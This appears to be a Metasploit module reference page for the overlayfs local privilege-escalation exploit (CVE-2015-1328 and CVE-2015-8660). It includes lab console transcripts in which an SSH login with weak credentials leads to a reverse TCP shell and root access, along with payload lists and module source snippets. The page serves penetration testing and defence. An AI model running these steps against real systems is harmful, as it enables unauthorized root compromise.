Overlayfs Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/overlayfs_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Overlayfs Privilege Escalation
Module: exploit/linux/local/overlayfs_priv_esc
Source code: modules/exploits/linux/local/overlayfs_priv_esc.rb
Disclosure date: 2015-06-16
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-1328, CVE-2015-8660, CVE-2015-13281328, CVE-2015-86608660

This module attempts to exploit two different CVEs related to overlayfs. CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 3.16.0-25 (14.10 default) < 3.16.0-41 3.19.0-18 (15.04 default) < 3.19.0-21 CVE-2015-8660: Ubuntu: 3.19.0-18 < 3.19.0-43 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) Fedora: < 4.2.8 (vulnerable, un-tested) Red Hat: < 3.10.0-327 (rhel 6, vulnerable, un-tested)

Module Ranking and Traits


Module Ranking:

  • good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/overlayfs_priv_esc
msf exploit(overlayfs_priv_esc) > show targets
    ... a list of targets ...
msf exploit(overlayfs_priv_esc) > set TARGET target-id
msf exploit(overlayfs_priv_esc) > show options
    ... show and set options ...
msf exploit(overlayfs_priv_esc) > set SESSION session-id
msf exploit(overlayfs_priv_esc) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Creating A Testing Environment


This module has been tested against:

  1. CVE-2015-1328
    1. Ubuntu 14.04
      1. 3.13.0-24 (binary version of exploit compiled on)
      2. 3.19.0-20
      3. 3.19.0-21 (not vuln, exploit failed)
      4. 3.13.0-55 (not vuln, exploit failed)
  2. CVE-2015-8660
    1. Ubuntu 14.04
      1. 3.19.0-41 (binary version of exploit compiled on)

Untested against

  1. Fedora (code included to identify vuln versions)
  2. Redhat (description includes vuln kernel versions)

Verification Steps


  1. Start msfconsole
  2. Exploit a box via whatever method
  3. Do: use exploit/linux/local/overlayfs_priv_esc
  4. Do: set session #
  5. Do: set verbose true
  6. Do: exploit

Options


COMPILE

If we should attempt to compile on the system. Defaults to Auto, which checks if gcc is installed

WritableDir

A folder we can write files to. Defaults to /tmp

Scenarios


CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41

Initial Access


resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate


resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
resource (/root/Text-1.txt)> set verbose true
verbose => true
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (/root/Text-1.txt)> set session 1
session => 1
resource (/root/Text-1.txt)> set target 1
target => 1
resource (/root/Text-1.txt)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (/root/Text-1.txt)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
[*] Max line length is 65537
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
[*] Compiling /tmp/svF1U2Ya.c
[*] Writing to /tmp/fHCJO1ex (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
[+] Deleted /tmp/svF1U2Ya.c
[+] Deleted /tmp/fHCJO1ex

3986817421
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
true
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
true
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
VPsVgFTxVwskShumsJkambKWMQhifDJi
whoami
root
uname -a
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24

Initial Access


resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Escalate


resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
resource (overlay.rc)> set verbose true
verbose => true
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (overlay.rc)> set target 0
target => 0
resource (overlay.rc)> set session 1
session => 1
resource (overlay.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (overlay.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
[*] Max line length is 65537
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
[*] Writing to /tmp/ofs-lib.c (439 bytes)
[*] Max line length is 65537
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
[*] Compiling /tmp/JmK51Dpa.c
[*] Writing to /tmp/R6TrMF7f (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
[!] Tried to delete /tmp/ofs-lib.c, unknown result
[+] Deleted /tmp/JmK51Dpa

2356964145
psMfOJcKGKnafhAvALIeSFNegauafmux
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
true
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
sh: 0: can't access tty; job control turned off
# # # whoami
root
# uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Go back to menu.

Msfconsole Usage


Here is how the linux/local/overlayfs_priv_esc exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/overlayfs_priv_esc

[*] Using configured payload linux/x86/shell/reverse_tcp
msf6 exploit(linux/local/overlayfs_priv_esc) > show info

       Name: Overlayfs Privilege Escalation
     Module: exploit/linux/local/overlayfs_priv_esc
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2015-06-16

Provided by:
  h00die <[email protected]>
  rebel

Available targets:
  Id  Name
  --  ----
  0   CVE-2015-1328
  1   CVE-2015-8660

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module attempts to exploit two different CVEs related to 
  overlayfs. CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 
  default) < 3.13.0-55 3.16.0-25 (14.10 default) < 3.16.0-41 3.19.0-18 
  (15.04 default) < 3.19.0-21 CVE-2015-8660: Ubuntu: 3.19.0-18 < 
  3.19.0-43 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) Fedora: < 4.2.8 
  (vulnerable, un-tested) Red Hat: < 3.10.0-327 (rhel 6, vulnerable, 
  un-tested)

References:
  https://www.exploit-db.com/exploits/39166
  https://www.exploit-db.com/exploits/37292
  https://nvd.nist.gov/vuln/detail/CVE-2015-1328
  https://nvd.nist.gov/vuln/detail/CVE-2015-8660

Module Options


This is a complete list of options available in the linux/local/overlayfs_priv_esc exploit:

msf6 exploit(linux/local/overlayfs_priv_esc) > show options

Module options (exploit/linux/local/overlayfs_priv_esc):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   COMPILE  Auto             yes       Compile on target (Accepted: Auto, True, False)
   SESSION                   yes       The session to run this module on.

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   CVE-2015-8660

Advanced Options


Here is a complete list of advanced options supported by the linux/local/overlayfs_priv_esc exploit:

msf6 exploit(linux/local/overlayfs_priv_esc) > show advanced

Module advanced options (exploit/linux/local/overlayfs_priv_esc):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files (must not be mounted noexec)

Payload advanced options (linux/x86/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel       0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak          false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                 false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid            false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid            false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                   no        Redirect Debug Info to a Log File
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/overlayfs_priv_esc module can exploit:

msf6 exploit(linux/local/overlayfs_priv_esc) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   CVE-2015-1328
   1   CVE-2015-8660

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/overlayfs_priv_esc exploit:

msf6 exploit(linux/local/overlayfs_priv_esc) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   19  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   20  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   22  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   23  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   24  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   26  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   27  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   30  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   31  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   32  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   33  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   34  payload/linux/x86/read_file                                        normal  No     Linux Read File
   35  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   36  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   37  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   38  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   39  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   40  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   41  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   42  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   45  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   46  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   47  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   48  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/overlayfs_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/overlayfs_priv_esc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

/tmp/ns_sploit directory exists. Please delete.


Here is a relevant code snippet related to the "/tmp/ns_sploit directory exists. Please delete." error message:

69:	      if target.name == 'CVE-2015-1328'
70:	        if not directory?('/tmp/ns_sploit')
71:	          vprint_good('/tmp/ns_sploit not created')
72:	          return true
73:	        else
74:	          print_error('/tmp/ns_sploit directory exists.  Please delete.')
75:	          return false
76:	        end
77:	      elsif target.name == 'CVE-2015-8660'
78:	        if not directory?('/tmp/haxhax')
79:	          vprint_good('/tmp/haxhax not created')

/tmp/haxhax directory exists. Please delete.


Here is a relevant code snippet related to the "/tmp/haxhax directory exists. Please delete." error message:

77:	      elsif target.name == 'CVE-2015-8660'
78:	        if not directory?('/tmp/haxhax')
79:	          vprint_good('/tmp/haxhax not created')
80:	          return true
81:	        else
82:	          print_error('/tmp/haxhax directory exists.  Please delete.')
83:	          return false
84:	        end
85:	      end
86:	    end
87:	

Kernel <KERNEL> is NOT vulnerable


Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:

94:	        when '3.13.0'
95:	          if kernel.between?(Rex::Version.new('3.13.0-24-generic'),Rex::Version.new('3.13.0-54-generic'))
96:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
97:	            return true
98:	          else
99:	            print_error("Kernel #{kernel} is NOT vulnerable")
100:	            return false
101:	          end
102:	        when '3.16.0'
103:	          if kernel.between?(Rex::Version.new('3.16.0-25-generic'),Rex::Version.new('3.16.0-40-generic'))
104:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")

Kernel <KERNEL> is NOT vulnerable


Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:

102:	        when '3.16.0'
103:	          if kernel.between?(Rex::Version.new('3.16.0-25-generic'),Rex::Version.new('3.16.0-40-generic'))
104:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
105:	            return true
106:	          else
107:	            print_error("Kernel #{kernel} is NOT vulnerable")
108:	            return false
109:	          end
110:	        when '3.19.0'
111:	          if kernel.between?(Rex::Version.new('3.19.0-18-generic'),Rex::Version.new('3.19.0-20-generic'))
112:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")

Kernel <KERNEL> is NOT vulnerable


Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:

113:	            return true
114:	          elsif kernel.between?(Rex::Version.new('3.19.0-18-generic'),Rex::Version.new('3.19.0-42-generic'))
115:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
116:	            return true
117:	          else
118:	            print_error("Kernel #{kernel} is NOT vulnerable")
119:	            return false
120:	          end
121:	        when '4.2.0'
122:	          if kernel.between?(Rex::Version.new('4.2.0-18-generic'),Rex::Version.new('4.2.0-22-generic'))
123:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")

Kernel <KERNEL> is NOT vulnerable


Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:

121:	        when '4.2.0'
122:	          if kernel.between?(Rex::Version.new('4.2.0-18-generic'),Rex::Version.new('4.2.0-22-generic'))
123:	            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
124:	            return true
125:	          else
126:	            print_error("Kernel #{kernel} is NOT vulnerable")
127:	            return false
128:	          end
129:	        else
130:	          print_error("Non-vuln kernel #{kernel}")
131:	          return false

Non-vuln kernel <KERNEL>


Here is a relevant code snippet related to the "Non-vuln kernel <KERNEL>" error message:

125:	          else
126:	            print_error("Kernel #{kernel} is NOT vulnerable")
127:	            return false
128:	          end
129:	        else
130:	          print_error("Non-vuln kernel #{kernel}")
131:	          return false
132:	        end
133:	      when 'ID=fedora'
134:	        kernel = Rex::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
135:	        # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')

Non-vuln kernel <KERNEL>


Here is a relevant code snippet related to the "Non-vuln kernel <KERNEL>" error message:

136:	        # => "4.0.4-301"
137:	        if kernel.release < Rex::Version.new('4.2.8')
138:	          vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660.  Exploitation UNTESTED")
139:	          return true
140:	        else
141:	          print_error("Non-vuln kernel #{kernel}")
142:	          return false
143:	        end
144:	      else
145:	        print_error("Unknown OS: #{os_id}")
146:	        return false

Unknown OS: <OS_ID>


Here is a relevant code snippet related to the "Unknown OS: <OS_ID>" error message:

140:	        else
141:	          print_error("Non-vuln kernel #{kernel}")
142:	          return false
143:	        end
144:	      else
145:	        print_error("Unknown OS: #{os_id}")
146:	        return false
147:	      end
148:	    end
149:	
150:	    if mounts_exist?() && kernel_vuln?()

Target not vulnerable! punt!


Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:

155:	  end
156:	
157:	  def exploit
158:	
159:	    if check != CheckCode::Appears
160:	      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
161:	    end
162:	
163:	    filename = rand_text_alphanumeric(8)
164:	    executable_path = "#{datastore['WritableDir']}/#{filename}"
165:	    payloadname = rand_text_alphanumeric(8)

gcc is not installed. Compiling will fail.


Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:

168:	    def has_prereqs?()
169:	      gcc = cmd_exec('which gcc')
170:	      if gcc.include?('gcc')
171:	        vprint_good('gcc is installed')
172:	      else
173:	        print_error('gcc is not installed.  Compiling will fail.')
174:	      end
175:	      return gcc.include?('gcc')
176:	    end
177:	
178:	    compile = false

Target not vulnerable! punt!


Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:

183:	      else
184:	        vprint_status('Dropping pre-compiled exploit on system')
185:	      end
186:	    end
187:	    if check != CheckCode::Appears
188:	      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
189:	    end
190:	
191:	    def upload_and_chmod(fname, fcontent, cleanup=true)
192:	      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
193:	      rm_f fname

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.